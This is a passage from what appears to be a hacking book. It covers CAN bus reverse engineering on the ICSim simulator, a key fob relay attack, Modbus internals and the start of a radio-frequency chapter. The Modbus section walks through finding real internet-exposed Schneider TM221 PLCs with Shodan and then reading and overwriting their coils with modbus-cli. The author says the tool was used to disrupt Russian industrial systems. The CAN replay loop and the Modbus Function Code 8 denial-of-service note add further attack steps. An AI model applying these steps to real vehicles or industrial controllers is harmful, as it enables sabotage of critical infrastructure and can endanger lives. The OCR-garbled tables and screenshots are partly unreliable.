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Craig Smith, author of The Car Hackers Handbook and founder of <u>opengarages.org</u>, has developed a small CAN simulator we will download and install next. You can clone it from <u>github.com</u> here.

kali > git clone https://github.com/zombieCraig/ICSim

root@kali-2019:~# git clone https://github.com/zombieCraig/ICSim
Cloning into 'ICSim'...
remote: Enumerating objects: 127, done.
remote: Total 127 (delta 0), reused 0 (delta 0), pack-reused 127
Receiving objects: 100% (127/127), 1.08 MiB | 25.00 KiB/s, done.
Resolving deltas: 100% (67/67), done.

Next, we navigate to the newly created directory, ICSim.

kali > cd ICSim

<pre>root@kali-2019:~#</pre>	cd ICSim			
root@kali-2019:~/	ICSim# ls	-1		
total 172				
drwxr-xr-x 2 root	root 409	6 Apr 1	5 09:45	art
-rwxr-xr-x 1 root	root 2979	2 Apr 1	5 09:45	controls
-rw-rr 1 root	root 2055	3 Apr 1	5 09:45	controls.c
drwxr-xr-x 2 root	root 409	6 Apr 1	5 09:45	data
-rwxr-xr-x 1 root	root 3293	6 Apr 1	5 09:45	icsim
-rw-rr 1 root	root 1359	8 Apr 1	5 09:45	icsim.c
-rw-rr 1 root	root 1411	1 Apr 1	5 09:45	lib.c
-rw-rr 1 root	root 833	8 Apr 1	5 09:45	lib.h
-rw-rr 1 root	root 1316	8 Apr 1	5 09:45	lib.o
-rw-rr 1 root	root 30	0 Apr 1	5 09:45	Makefile
-rw-rr 1 root	root 282	4 Apr 1	5 09:45	README.md
-rwxr-xr-x 1 root	root 10	0 Apr 1	5 09:45	setup_vcan.sh

When we do a long listing on that directory, we can see numerous files. At this point, we need to execute the **setup_vcan.sh** script. This is a simple BASH script that loads the new kernel modules, **can** and **vcan**, using modprobe (for more on kernel modules, see my Linux Basics for Hackers) and then creates a virtual CAN interface, **vcan0**.

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Now, we need to execute this script.

kali > ./setup_vcan.sh



To start the instrument panel of our simulated vehicle, we simply need to execute **icsim** followed by the name of the virtual CAN interface, in this case, **vcan0**.

kali > ./icsim vcan0

The instrument panel should appear on your desktop like below. It includes a speedometer, turn signal and a virtual vehicle silhouette similar to modern vehicles that indicate open and closed doors for the driver.



To start the controller of this vehicle, enter the following;

kali > ./controls vcan0



This should open the controller on your desktop, as seen below.



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If you have a game controller connected to your Kali system, you can now use it to "drive" your simulated car. If not, you can use the following keyboard combinations.

Action 🔽	Keystroke Combination 🛛 🔽
accelerate	UP Arrow
left/right Turn Signal	Left/Right Arrow
unlock Front L/R Doors	Right-Shift+A, Right-Shift+B
Unlock Back L/R Doors	Right-Shift+X, Right-Shift+Y
Lock All Doors	Hold Right Shift Key, Tap Left Shift
Unlock All Doors	Hold Left Shift Key, Tap Right Shift

Now that we have our simulator setup, in the next sections we will "drive" our simulated vehicle, sniff and observe the CAN bus messages, and reverse engineer those CAN bus messages.

Next, we will focus on the following can-utils;

- 1. cansniffer
- 2. candump
- 3. canplayer
- 4. cansend

Start the cansniffer

Let's begin by sniffing the CAN traffic using cansniffer. With this utility, you must specify the interface (**vcan0**, in our case) and if you want to see the colorized output, use the **-c option**.

kali > cansniffer -c vcan0



As soon as you enter this command, you should begin to see the CAN network traffic displayed in your terminal, similar to the screenshot below.

								ro	oot@)kali-2019: ~	,			•	•	8
File Edit	View	Se	arch	Т	ermi	inal	He	elp								
0.198947	17C	00	00	00	00	10	00	00	30	0						^
0.198912	183	00	00	00	09	00	00	10	3F							
0.198942	18E	00	00	7A						z Z						
0.200650	191	01	00	90	Α1	41	00	12		A						
0.200667	1A4	00	00	00	08	00	00	00	3E							
0.200654	1AA	7F	FF	00	00	00	00	67	3F	<mark>g</mark> ?						
0.199066	1B0	00	0F	00	00	00	01	75		<mark>u8</mark>						
0.198867	1CF	80	05	00	00	00	1E									
0.198915	1DC	02	00	00	1B					8						
0.201009	21E	03	E8	37	45	22	06	10		7E"						
0.203971	244	00	00	00	01	FD										
0.200933	294	04	0B	00	02	CF	5A	00	1D	Z						
0.208898	305	80	17													
0.198800	309	00	00	00	00	00	00	00	93							
0.198926	320	00	00	12												
0.198846	324	74	65	00	00	00	00	0E	1A	te						
0.200610	333	00	00	00	00	00	00	1E								
0.198820	37C	FD	00	FD	00	09	7F	00	1 A							
0.296440	405	00	00	04	00	00	00	00	1 A							
0.301292	40C	03	31	33	38	34	39	00	0 D	.13849						
0.296352	428	01	04	00	00	52	1C	10		R						
0.301229	454	23	EF	09						#						
0.999707	5A1	96	00	00	00	00	00	62	2F	b/						
																~

For those Mr. Robot fans, you may have remembered seeing a similar terminal screen when Darlene attempts to hack a car in Season 5.

	DoloresH42e@d Cansaille Cansail
All L1	(Text)
and the second	

When we use the -c option, the values that are changing turn a red color to help us identify these key values.

Use cansniffer to Filter for Specific Traffic

Rather than watch all the traffic go past our terminal, we can filter traffic similarly to the more widely used sniffer, Wireshark.

Let's look at the help screen in cansniffer to learn to do so.

kali > cansniffer -h

```
root@kali-2019:~# cansniffer -h
cansniffer: option requires an argument -- 'h'
Usage: cansniffer [can-interface]
Options:
                       (initial FILTER default 0x0000000)
          -m <mask>
          -v <value>
                      (initial FILTER default 0x00000000)
                       (quiet - all IDs deactivated)
          - q
                       (read sniffset.name from file)
          -r <name>
                       (start with binary mode)
          - b
                       (start with binary mode with gap - exceeds 80 chars!)
          - B
          - C
                       (color changes)
                      (filter on CAN-ID only)
          - f
                       (timeout for ID display [x10ms] default: 500, 0 = 0FF)
(hold marker on changes [x10ms] default: 100)
          -t <time>
          -h <time>
                       (loop time (display) [x10ms] default: 20)
          -l <time>
Use interface name 'any' to receive from all can-interfaces.
```

Then, if we only wanted to see traffic from ID=161, we could enter;

kali > cansniffer -c vcan0

Once the sniffer has started, we can then enter;

-000000

+161

It's important to note that when you enter the above commands, **they will not appear on the screen**. Once you have entered the ID number, the sniffer will begin to filter out all traffic but those with the ID= 161

65 delta	ID	data							< cansni	ffer	vcan0	#	l=20	h=100	t=500	٨
0.200784	161	00 00	05	50	01	08	00	θD	P							

As you can see in the screenshot above, cansniffer now displays just the data for ID=161

Using candump to capture CAN traffic

While the cansniffer is capable of sniffing traffic on the CAN network (similar to Wireshark), the candump utility in can-utils is capable of capturing CAN traffic and storing it into a file for analysis or replay at a later time.

To do so, we can need only to use the **-l option to log** and the **-c option to colorize** the output.

kali > candump -c -l vcan0



If we want to log AND view the output, we can use the **-s 0 option** (silent mode 0). In addition, if we want to output to be converted from hex to ASCII (human readable), we can add the **-a** (ASCII) option. This starts candump in colorize mode, with ASCII output, storing the data into a log file and simultaneously sending it to the terminal (stdout).

kali > candump -c -l -s 0 -a vcan0

```
@kali-2019:~# candump -c -l -s 0 -a vcan0
Enabling Logfile 'candump-2020-04-17_100214.log'
Warning: console output active while logging!
                                                vcan0
                                                        095
                                                               [8] 80 00 07 F4 00
00 00 35
           '....5'
                                                '.5'
         305
               [2] 80 35
  vcan0
                    00 00 00 08 00 00 00 2F
         1A4
               [8]
  vcan0
  vcan0
         1AA
               [8]
                    7F FF 00 00 00 00 67 20
                                                    . . . . a
  vcan0
         1B0
               [7]
                    00 0F
                          00 00 00 01 66
  vcan0
         1D0
               [8]
                    00 00 00 00 00 00 00 0A
         166
  vcan0
                [4]
                    DΘ
                       32 00 09
                                                  .2.
         158
                    00 00 00 00 00 00 00 0A
                [8]
  vcan0
         161
                    00 00 05 50 01 08 00 0D
  vcan0
               [8]
  vcan0
         191
                    01 00 10 A1 41 00 38
                [7]
                                                  ...A.8
  vcan0
        133
                [5]
                    00 00 00 00 98
  vcan0
        136
               [8]
                    00 02 00 00 00 00 00 1B
  vcan0
         13A
               [8]
                    00 00 00 00 00 00 00 19
```

Using canplayer

We also have another key CAN network tool, canplayer. This tool enables us to "play" the output from the candump. So, we could capture the data from the CAN network and then replay it on the network. We only need to use the **-I option** followed by the name of the log file from candump.

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kali >canplayer -I candump-xxxxxxxx.log

```
root@kali-2019:~# canplayer -I candump-2020-04-17_100214.log
```

Using cansend to Send Custom Frames

Finally, we have the cansend tool. This tool enables us to replay a specific frame or to send a custom-crafted CAN frame. If we want to resend a single frame, we isolated above with ID=161,



we do so by entering the following;

kali > cansend vcan0 161#000005500108000d

Where:

vcan0 is the interface

161# is the frame ID

000005500108000D is the data we want to send



Now, when we hit enter, the custom CAN frame will be sent over the network. I hope it is obvious that when we reverse engineer the network, this is the command we will use to initiate the actions we desire on the CAN network, such as; accelerate, open the door, initiate the brakes, etc.

In the previous sections, we learned how to use the CAN utilities or can-utils to capture and send CAN packets. Now, with those tools, we can begin to isolate and reverse engineer the CAN packets to take control of the vehicle!

Use the Controller to Accelerate the Car

Now, with the instrument panel (like below) and the controller open, we can begin to send packets on the network to open and close doors, turn on the turn signals and accelerate the vehicle.



Click anywhere on the Control Panel, as seen below.



Now that the Control Panel is in focus, we can begin to use the game controller or keystrokes to control our simulated vehicle.

Let's try to speed up our car. Hold down the UP arrow key until the car accelerates to 100 mph (160 kph), as seen below.



Release the UP arrow, and the car's speed will return to idle again.

To reverse engineer this process, we need to find the CAN packet signal accelerating the car to 100 mph. When we find that packet, we can duplicate it (reverse engineer) and send it on the network to accelerate the car to 100mph without the driver doing anything! Like a ghost has taken over his vehicle!

Use the cansniffer to Find the Specific Packet and Values

The next step is to open the cansniffer on our CAN network.

kali > cansniffer -c vcan0

Now, with the cansniffer running, once again press the UP arrow and accelerate the car to 100 mph. Watch the data pass and look for the packets that are changing rapidly (they will be in red). These packets will likely be those changing the speed of the vehicle.

As you can see below, we identified the packet with Arbitration ID 244 as a likely candidate for the car acceleration. Let's focus on that ID.

0.189291	166	D0	32	00	09					.2"
0.199376	17C	00	00	00	00	10	00	00	12	
0.199398	183	00	00	00	03	00	00	10	17	
0.199377	18E	00	00	5C						
0.199443	191	01	00	10	A1	41	00	38		A. <mark>8</mark> .
0.200637	1A4	00	00	00	08	00	00	00	2F	/
0.200649	1AA	7F	FF	00	00	00	00	68	2F	<mark>h/</mark>
0.199287	1B0	00	0F	00	00	00	01	66		f
0.199348	1CF	80	05	00	00	00	0F)
0.200641	1DC	02	00	00	0 C					
0.199951	21E	03	E8	37	45	22	06	2F		7E"./
0.209412	244	00	00	00	θE	12				b.
0.199952	294	04	0B	00	02	CF	5A	00	2C	Z.,
0.199952 0.104323	294 305	04 80	0B 08	00	02	CF	5A	00	20	Z.,
				00 00			5A 00			Z.,
0.104323 0.200887 0.200656	305	80	08							Z.,
0.104323 0.200887	305 309	80 00	<mark>88</mark> 00	00				00		
0.104323 0.200887 0.200656 0.200657 0.200721	305 309 320 324 333	80 00 00	00 00 00	00	00	00 00 00	00	00	84	
0.104323 0.200887 0.200656 0.200657 0.200721 0.199225	305 309 320 324	80 00 00 74	00 00 00 65	00 03 00	00 00	00 00	00 00	00 0E	84	
0.104323 0.200887 0.200656 0.200657 0.200721 0.199225 0.299946	305 309 320 324 333	80 00 00 74 00	00 00 65 00	00 03 00 00	00 00 00	00 00 00	00 00 00	00 0E 0F	84 0B	
0.104323 0.200887 0.200656 0.200657 0.200721 0.199225 0.299946 0.300843	305 309 320 324 333 37C 405 40C	80 00 74 00 FD	 8 00 00 65 00 00 00 00 00 00 00 00 	00 03 00 00 FD	00 00 00 00 00	00 00 09 00 04	00 00 7F 00	00 0E 0F 00	84 0B 0B	 te)
0.104323 0.200887 0.200656 0.200657 0.200721 0.199225 0.299946 0.300843 0.299945	305 309 320 324 333 37C 405 40C 428	80 00 74 00 FD 00 00 01	 8 00 00 65 00 00 00 00 00 00 00 04 	00 03 00 00 FD 04 00	00 00 00 00	00 00 09 00	00 00 7F 00	00 0E 0F 00 00	84 0B 0B 29	
0.104323 0.200887 0.200656 0.200657 0.200721 0.199225 0.299946 0.300843	305 309 320 324 333 37C 405 40C	80 00 74 00 FD 00	 8 00 00 65 00 00 00 00 00 00 00 00 	00 03 00 00 FD 04 00	00 00 00 00 00	00 00 09 00 04	00 00 7F 00	00 0E 0F 00 00	84 0B 0B 29	 te)

As we learned earlier, we can filter out all the other traffic but that ID. By using a mask and then entering the ID we want to focus on, cansniffer will only display the traffic we want to focus on. So, to filter for just this ID, enter;

-000000

+244

Remember, these entries will not appear on the screen.

When you do, cansniffer will filter out all the traffic, but that traffic is intended for Arbitration ID 244, as seen below.



Now, accelerate the car to 100 mph again and watch the values change. When you reach the maximum speed, you will likely see values similar to those seen in the screenshot above. Record these values on paper.

Reverse Engineer the Accelerate Packet StNetwork

We can now send a packet with that Arbitration ID and those values over the network by using the cansend utility. Remember, the cansend utility requires the interface, followed by the arbitration ID, followed by a #, and then the values, such as;

kali > cansend vcan0 244#0000003812



This packet will signal the car to accelerate to 100mph!

Although this is the right packet, you might not notice any change in the speedometer. That is because the CAN network is simultaneously sending signals to also idle at 0mph. The car is getting mixed signals. The car's normal control system is telling it to run at 0 mph, and you are sending a **single packet** to accelerate to 100 mph.



What if we could send a continuous stream of packets telling the car to accelerate to 100 mph rather than just 1? We may be able to overwhelm the normal control system packets and get the car to accelerate.

Let's try writing a simple script to send continuous packets telling the car to accelerate, such as;

@AnonGhostNetwork
kali > while true; do cansend vcan0 244#0000003812; done



Now hit ENTER and see what happens!



The car should immediately begin to accelerate to 100 mph! You have taken control of the car!

Key Fob Hacking

As automobiles become increasingly complex and digital, the opportunities for hacking these transportation vehicles increase exponentially. One of the many conveniences that these new cars offer is proximity door locking/unlocking and engine starting. This feature was first introduced in 1999 and is known as Passive Keyless Entry and Start (PKES). When the key fob holder is near the vehicle, the door automatically unlocks, and the same is true for starting the car. Very often, these cars start simply by pushing a button and only when the key fob is near. Without the key fob, the thief is stymied. These electronic measures were designed for safety and convenience, but since they are electronic, they can-of course--be hacked.



These key fobs emit a low energy (LF) unique signal with the vehicle ID to the car that relays to the vehicle the owner is near. What if we could amplify and relay that signal from the key fob and fool the car that the owner is nearby?

That is exactly what this hack does!

Signal Amplification Relay Attack (SARA)

Numerous ways have been developed to hack the keyless entry system, but probably the simplest method is known as SARA or Signal Amplification Relay Attack. In this hack, the attacker simply relays the RF signal across a longer distance. Normally, the key fob signals when the owner is in proximity to the vehicle and unlocks the car. In this hack, two transmitters are used. One picks up the signal from the key fob, amplifies it, and then transmits it to another receiver near the vehicle. The receiver then copies the relayed signal and transmits it in proximity to the vehicle. The vehicle's controller unit detects the signal sensing the owner is nearby, and opens the vehicle door.



The beauty of this hack is that although the signals between the vehicle and the key fob are encrypted, it is not necessary to decrypt the message; it is simply transmitted in its entirety. In some ways, it's similar to the pass-the-hash attack, where the attacker simply presents the password hash without decrypting it. This attack works against most cars manufactured before 2014 and Honda cars up to 2021.

The Relay Attack

Let's take a look at this hack in a bit more detail.
In this attack, the signal from the key fob is relayed to a location near the vehicle to trick the keyless entry system that the key fob is near and open the door.

Capture LF Signal from Vehicle

This hack relays the Low Frequency (LF) signals from the vehicle over a Radio Frequency (RF) link. Each RF link is composed of;

- 1. an emitter
- 2. a receiver



Convert the LF to 2.5GHZ and Send it to the Receiver

The emitter captures the Low Frequency (LF) signal from the vehicle and converts it to 2.5GHz. This signal is then sent over the air (up to 100m) to the receiver, which converts it back to an LF signal.

Amplify the Signal and Send it to the LF (Low Frequency) Antenna

The LF signal at the receiver is amplified and sent to a loop LF antenna which replicates the signal originally sent by the vehicle. A loop LF antenna is then used to transmit the signal to open the door and then start the engine.



(a) Loop antenna placed next to the door handle.

(b) Starting the engine using the relay.

For more on Radio Hacking, check out Chapter 14.

Summary

The can-utils and the ICSim are excellent training tools for understanding how the CAN protocol works and reverse engineering the control signals and packets on the network. Although there are many vectors for gaining access to the car such as GPS, cellular and wireless networks, once inside the car's network we need to determine what signals control which functions. This tutorial, I hope, provides you with some idea of how this process works.

Exercises

- 1. Download the can-utils
- 2. Download the ICSim
- 3. Create a virtual CAN network
- 4. Replicate the steps of a CAN replay attack from this chapter

Chapter 14 SCADA/ICS Networks

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SCADA/ICS systems are differentiated from traditional information IT systems in a number of key ways. Probably the most important differentiation is the many communication protocols. Unlike traditional IT systems with their standardized TCP/IP protocols, SCADA/ICS systems are marked by significant variations in their communication protocols.

SCADA/ICS Manufacturers

There are numerous SCADA/ICS protocols, sometimes different protocols, within the many manufacturers of hardware. The major manufacturers of SCADA/ICS hardware include;

Seimens

Honeywell

Toshiba

Rockwell Automation/Allen-Bradley

Mitsubishi

GE

Schneider Electric

and many others.

Each of these companies makes varied products and uses various protocols, some of which are proprietary. This is one of the many reasons that securing SCADA/ICS systems can be challenging. At the same time, this industry has benefited from security through obscurity, as many attackers are unfamiliar with these protocols.

SCADA/ICS Communication Protocols

Among these many manufacturers of PLC and SCADA/ICS systems, there are numerous communication protocols. To pentest these systems, you need at least a rudimentary understanding of these protocols.

These are the most widely used protocols.

Modbus
DNP3
ІССР
Common Industrial Protocol (CIP)
EtherNet/IP
CompoNet
ControlNet
DeviceNet
OLE for Process Control (OPC)

PROFIBUS

Foundation Fieldbus H1

Each of these protocols operates slightly differently (in some cases, VERY differently), and we will detail their inner workings in separate articles here on Hackers-Arise, but for now, let's focus on the most widely used protocol, Modbus.

Modbus

Modbus Serial (RTU)

Modbus RTU was first developed in 1979 by Modicon (now part of Schneider Electric) for industrial automation systems and Modicom PLCs. It has become the industry standard if there is one. Modbus is a widely-accepted, public-domain protocol. It is a simple and lightweight protocol intended for serial communication. It has a data limit of 253 bytes.

Modbus operates at Layer 7 of the OSI model. It is an efficient communication methodology between interconnected devices using a "request/reply" model. Because it is simple and lightweight, it requires little processing power.

Modbus was first implemented on either RS-232C (point-to-point) or RS-485 (multi-drop) physical topology. It can have up to 32 devices communicating over a serial link, with each device having a unique ID.

Modbus uses a Master/Slave (client/server) architecture where only one device can initiate queries. The slaves/server supply the requested data to the master or perform the action requested by the master. A slave is any peripheral device (I/O transducer, valve, network drive, or other measuring devices) that processes information and sends its output to the master via the Modbus protocol.



Masters can address individual slaves or initiate a broadcast message to all slaves. Slaves return a response to all queries addressed to them individually but do not respond to broadcast queries. Slaves do NOT initiate messages; they can only respond to the master. A master's query will consist of the slave address (slave ID or Unit ID), a function code, any required data, and an error-checking field.

Modbus communicates by Function Codes. Function code can be used to perform a wide range of commands.

Please see the list of function codes below.

Modbus Function Codes

Function Code	Function Name
01	Read Coil Status
02	Read Input Status
03	Read Holding Registers
04	Read Input Registers
05	Force Single Coil
06	Preset Single Register
07	Read Exception Status
09	Program 484
0A	Poll 484
0B	Fetch Communication Event Counter
00	Fetch Communication Event Log
OD @Ano	Program Controller
0E	Poll Controller
0F	Force Multiple Coils
10	Preset Multiple Registers
11	Report Slave ID
12	Program 884/M84
13	Reset Communication Link
14	Read General Reference
15	Write General Reference
16	Mask Write 4X Register
17	Read/Write 4X Registers
18	Read FIFO Queue

Function code 8 is the **diagnostic function code**. Within that Function code 8, we have numerous sub-function codes. Note Function Code 8, sub-function code 04, **Force Listen Only Mode**. This can be used to create a Denial of Service (DoS) condition on some Modbus-enabled systems.

Note the Diagnostic sub-function codes below.

Diagnostic Sub-Function Codes

Function Code	Sub-Function Code	Function Name
08	00	Return Query Data
08	01	Restart Communication Option
08	02	Return Diagnostic Register
08	03	Change ASCII Input Delimiter
08	04	Force Listen Only Mode
08	05-09	Reserved
08	0A	Clear Counters and Diagnostic Reg.
08	0B	Return Bus Message Count
08	0C	Return Bus Communication Error Count
08	0D	Return Bus Exception Error Count
08	0E	Return Slave Message Count
08	0F	Return Slave No Response Count
08	alloon Choet	Return Slave NAK Count
08	11	Return Slave Busy Count
08	12	Return Bus Char. Overrun Count
08	13	Return Overrun Error Count
08	14	Clear Overrun Counter and Flag
08	15	Get/Clear Modbus Plus Statistics
08	16-UP	Reserved

Modbus TCP

Modbus TCP is the Modbus protocol encapsulated for use over TCP/IP. It uses the same request/response as Modbus RTU, the same function codes, and the same data limit of 253 bytes. The error-checking field used in Modbus RTU is eliminated as the TCP/IP link layer uses its checksum methods, eliminating the need for the Modbus RTU checksum. Modbus TCP utilizes the reserved port 502 to communicate over TCP/IP.

Modbus TCP adds a Modbus Application Protocol (mbap) to the Modbus RTU frame. It is 7 bytes long with 2 bytes for the header, 2 bytes for the protocol identifier, 2 bytes in length, and 1 byte for the address (Unit ID).

	← Modb	us RTU Message —	\longrightarrow
	SlavID FCode	Data	CRC
← MBAP Header	→ ←- Mod	bus TCP/IP PDU →	
Transaction ID Protocol ID Length	UnitID FCode	Data	
← Modbus TCF	P/IP ADU	>	

Modbus Security

Modbus has numerous security concerns.

Lack of authentication - Modbus does not include any form of authentication. An attacker only needs to create a packet with a valid address, function code, and any associated data.

No encryption - all communication over Modbus is done in cleartext. An attacker can sniff the communication between the master and slaves and discern the configuration and use.

No Checksum - although Modbus RTU uses a message checksum, when Modbus is implemented in TCP/IP, the checksum is generated in the transport layer, not the application layer, enabling the attacker to spoof Modbus packets.

No Broadcast Suppression - without broadcast suppression (all addresses receive all messages), the attacker can create a DoS condition through a flood of messages.

For a more thorough understanding of the Modbus protocol, check out my article on <u>Modbus</u> <u>simulation here</u>.

SCADA Security and Vulnerabilities

SCADA/ICS security is probably the most important and overlooked field of cyber security. In an era where cyber warfare is an everyday occurrence, and cyber terrorism is an ongoing threat, these huge industrial facilities have large bullseyes on their backs. In some cases, taking down or disrupting just one of these plants could cost billions of US dollars and many lives. That is why everyone in our industry needs to become conversant in this field. For more background in SCADA/ICS, check out my section on this increasingly important field of information security.

PLCs, or programmable logic controllers, control nearly everything in the SCADA/ICS industry. These PLCs control everything from petroleum refineries to manufacturing facilities, waste and sewage plants, and the electric grid. Schneider Electric, based in Paris, France, is one of the world's largest manufacturers of these devices and sells them to a variety of industries.

Schneider Electric makes a PLC known as the TM221 that is widely used by small-to-mediumsized manufacturing facilities to automate their processes. These PLCs use multiple communication protocols, including the ubiquitous modbus/tcp. To learn more about this SCADA/ICS communication protocol, <u>check out my article on modbus here</u> and do the <u>modbus</u> <u>simulation here</u>. Without this understanding of modbus, what follows here will seem opaque.



It turns out that many of these PLCs are very easy to hack using multiple SCADA/ICS tools.

Here, I want o show you how to hack these PLCs using the hacking/pentesting tool modbus-cli.

Finding the TM221 with Shodan

First, let's see if we can find any of these PLC's connected to the Internet by using Shodan. For more on using Shodan to find SCADA/ICS facilities, check out my article here.

We can simply type "TM221" into the search bar of Shodan, and it will return all the IP addresses that contain that string in their banners. As you can see below, there are quite a few. Many of these are vulnerable systems.

Shodan Developers Book View Al		
SHODAN TM221ME16R	Q Explore	Downloads Reports Enterprise Access Contact Us
🔹 Exploits 🔹 Maps 🔷 Share Search	A Download Results	n la
TOTAL RESULTS 50 TOP COUNTRES Span B Turkey B Turkey B MOROVAL Republic of 3	166.143.97.134 States Historic States Andread on States Andread on States Control Constant Control Con	Unit ID: 1 Device Identification Schweider Electric TRO2THEIDE V2.2 Unit ID: 2 Device Identification: Schweider Electric TRO2THEIDE V2.2 Unit ID: 3 Device Identification: Schweider Electric TRO2THEIDE V2.2 Unit ID: 4 Device Identification: Schweider Electric TRO2THEIDE V2.2 U
Prince 3 Finiand 3 TOP SURVES 503 5 TOP ORGANIZATIONS Trincel 5 Transition de Eignana 12 Vodatons Spain 4 Traissoner Anna Og 3 Orange Moldow S.A. 3 TOP PRODUCTS	151,182,207.2 Its to got 2-rank access and an end where the got 2-rank access and an end to got 1 and 2 and 2 and 2 and 2 Gate 1 and 2 and 2 Carlos Carl	Unit ID: 1 Device Identification: Schneider Electric THC21MEIDR V2.2 Unit ID: 2 Device Identification: Schneider Electric THC21MEIDR V2.2 Unit ID: 3 Device Identification: Schneider Electric THC21MEIDR V2.2 Unit ID: 4 Device Identification: Schneider Electric THC21MEIDR V2.2 U
TM22IMEIKK 45	195.22.245.116 reget there are comparison as a Among an activity of a distance of a comparison of a distance of a distance of a comparison of a distance of a distance of a distance of a distance of a comparison of a distance	UNE DD: 1 Device Identification: Schweider Electric TROZINEISE V2.2 Unit D: 2 Device Identification: Schweider Electric TROZINEISE V2.2 Unit D: 3 Device Identification: Schweider Electric TROZINEISE V2.2 Unit D: 4 Device Identification: Schweider Electric TROZINEISE V2.2 DIST. DE 4 Device Identification: Schweider Electric TROZINEISE V2.2 DIST. DE 4 Device Identification: Schweider Electric TROZINEISE V2.2
	188.59.186.59 Tancai Acade do 2017-05-02 21:02:44 GMT (C Tanky Ortain	Unit ID: 1 Device Identification: Schweider Electric DR21MEINE V2.2 Unit ID: 2 Device Identification: Schweider Electric DR21MEINE V2.2
🖺 ICS-Security-is-Keyjpg \land 🖺	petrochemical-refijpg ^ 🖺	cia_logo_by_krumbi.jpg

Install modbus-cli

Now that we have located some potentially vulnerable sites using the Schneider Electric TM221 let's see if we can exploit them. Here we will be using a tool dedicated to exploiting the modbus protocol called modbus-cli. Modbus-cli is a command line (cli) tool that enables us to read and write modbus/tcp (not serial modbus).

This is a tool we used often to disrupt Russian industrial systems during the Ukraine/Russia war.

We can get this tool by entering the following;

kali >gem install modbus-cli

Now that we have downloaded modbus-cli, we can begin to recon and exploit the sites found by using Shodan above.

Once we have located a site using these PLC's, we can put modbus-cli into action.

modbus-cli Syntax

This command line tool uses simple syntax. To learn a bit of its syntax, let's display its help screen

kali > modbus --help

<pre>root@kali:~# modbus</pre>	shelp
Usage:	
modbus [OPTION	S] SUBCOMMAND [ARG]
Parameters:	
SUBCOMMAND	subcommand
[ARG]	subcommand arguments
Subcommands:	a second from the device
read	read from the device
write	write to the device
dump	copy contents of read file to the device
Options:	
-h,hel <u>p</u>	print help
<pre>root@kali:~#</pre>	
	(WATOTIGTOSTINETWORK

As you see, the basic syntax is as follows;

kali > modbus [options] SUBCOMMAND [arguments]

Address Terminology

Let's start by reading the values from one of these Schneider Electric sites (I have obscured the IP to protect the innocent and insecure). Before we do so, though, we need to discuss ways to designate addresses on these Schneider Electric modbus devices.

We have at least two ways to address these devices and their values, the Schneider Electric mode and the modicon mode. As we can see in the table below, the Schneider Electric terminology begins with **%M** before the address. We will begin by using this terminology and then progress to the modicon terminology.

Data Type	Data Size	Schneider Address	Modicon Address	Parameter
word	16 bits	%MW100	400101	word
integer	16 bits	%MW100	400101	int
Floating point	32 bits	%MF100	400101	float
Double word	32 bits	%MD100	400101	dword
Boolean(coils)	1 bit	%M100	101	N/A

So, if we want to read the first ten values beginning with address %MW100, we could simply enter the following;

kali> modbus read <IP> %MW100 10

root@ka	li:~# modbus read	%MW100 10
%MW100	O	
%MW101	Θ	
%MW102	Θ	
%MW103	17302	
%MW104	Θ	
%MW105	Θ	
%MW106	0	
%MW107	17302	
%MW108	39322	
%MW109	16025	

As you can see, modbus-cli was capable of pulling the values from the specified ten memory registers.

We can also use modicon terminology to do the same.

kali > modbus read <IP> 400101 10

root@kali:~	# modbus	read 400101 10
400101	Θ	
400102	Θ	
400103	0	
400104	17302	
400105	0	
400106	0	
400107	0	
400108	17302	
400109	39322	
400110	16025	

If we want more info on the **read** subcommand, we can simply type **--help** after modbus and then **read**, such as;

kali > modbus read --help



Reading the Coils

Let's now try reading the values of the coils. These will be Boolean (ON/OFF) values. The coils are either ON or OFF with values of 0 or 1. Since we are reading coil values, we use the modicon address of 101 rather than the Schneider address and then read ten values.

kali > modbus read <IP> 101 10

As we can see below, coils 101, 103, and 105 are all ON (1). The others are all OFF (0)

root@kal	li:~# modbus read	%M100 10
%M100	1	
%M101	Θ	
%M102	1	
%M103	Θ	
%M104	1	
%M105	Θ	
%M106	0	
%M107	Θ	
%M108	O	
%M109	Θ	

Writing New Values to the Coils

Now, let's see if we can change those values in the coils. Let's try to turn them all ON. We can do this with the **write** subcommand. In this case, we will start with the Schneider address terminology %MW100 and place 1's in each coil, turning them all ON.

kali > modbus write <IP> %MW100 1 1 1 1 1 1 1 1 1 1 1

1	root@kali:~# modbus write	%M100	1	1	1	1	1	1	-1	1	1	1	1
	I cocenta cart in meanade marge	0112.0.0					_					_	

Now, when we go back to read those coils, we can see they have all been activated!

kali > modbus read <IP> %MW100 10

root@kali:~#	t modbus read	%M100 10
%M100 1		
%M101 1		
%M102 1		
%M103 1		
&M104 1		
%M105 1		
%M106 1	"the quieter you become,	the more you are able to hear"
%M107 1		
‰M108 1		
%M109 1		

Reading the Values into an Output FilesstNetwork

Finally, we can read all the values into a text file. We may want to do this for later analysis or as a backup. In this case, let's read 100 coil values into a file named **scadaoutput.txt**.

kali > modbus read --output scadaoutput.txt <IP> %MW100 100

<pre>root@kali:~# modbu root@kali:~# cat s </pre>	%M100 100
:host:	
:port: 502	
:slave: 1	
:offset: '101'	
:data:	
- 1	
- 1	r
- 1	
- 1	
- 1	TM
- 1	
- 1	
- 1	
- 0	
- 0 I- 0	
- 0	
- 0	

Now, when we **cat** that file, we see that we have captured and saved all the values of 100 coils. Note that the first ten are still all ON AnonGhostNetwork

Summary

Modbus-cli is a powerful pentesting/hacking tool for the modbus/tcp protocol widely used in the SCADA/ICS industry. For more tools for hacking/pentesting SCADA/ICS check out my catalog of Metasploit SCADA/ICS tools here.

SCADA/ICS security is THE cutting edge in cyber security!

Chapter 15

Radio Frequency Networks with SDR

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So many applications in our modern life use radio frequency elements that it is hard to list them all. For instance, consider the following list:

- Automobile and vehicle access and monitoring
- Mouse and keyboards
- Cellphone Signals
- Remote control
- Telemetry
- Satellite transmissions
- Police and encrypted military communication
- Small-range wireless network
- Wireless meter reading
- Access control systems
- Drone control and monitoring
- Wireless home security systems
- Area paging
- Industrial data acquisition system
- Radio tags reading
- RF contactless smart cards
- Wireless data terminals
- Wireless fire protection systems
- Biological signal acquisition
- Hydrological and meteorological monitoring
- Robot remote control
- Wireless data transmissions
- Digital video/audio transmission
- Digital home automation, such as remote light/switch
- Industrial remote control, telemetry, and remote sensing
- Alarm systems and wireless transmission for various types of low-rate digital signal
- Remote control for various types of household appliances and electronics projects
- Many other applications fields related to RF wireless controlling
- Mobile web server for elderly people monitoring
- Room monitors
- Wireless Microphones

The list could go on for pages. The number of applications is mind-boggling when you consider it. In addition, the war in Ukraine has revealed how important these signals are in modern cyber warfare.



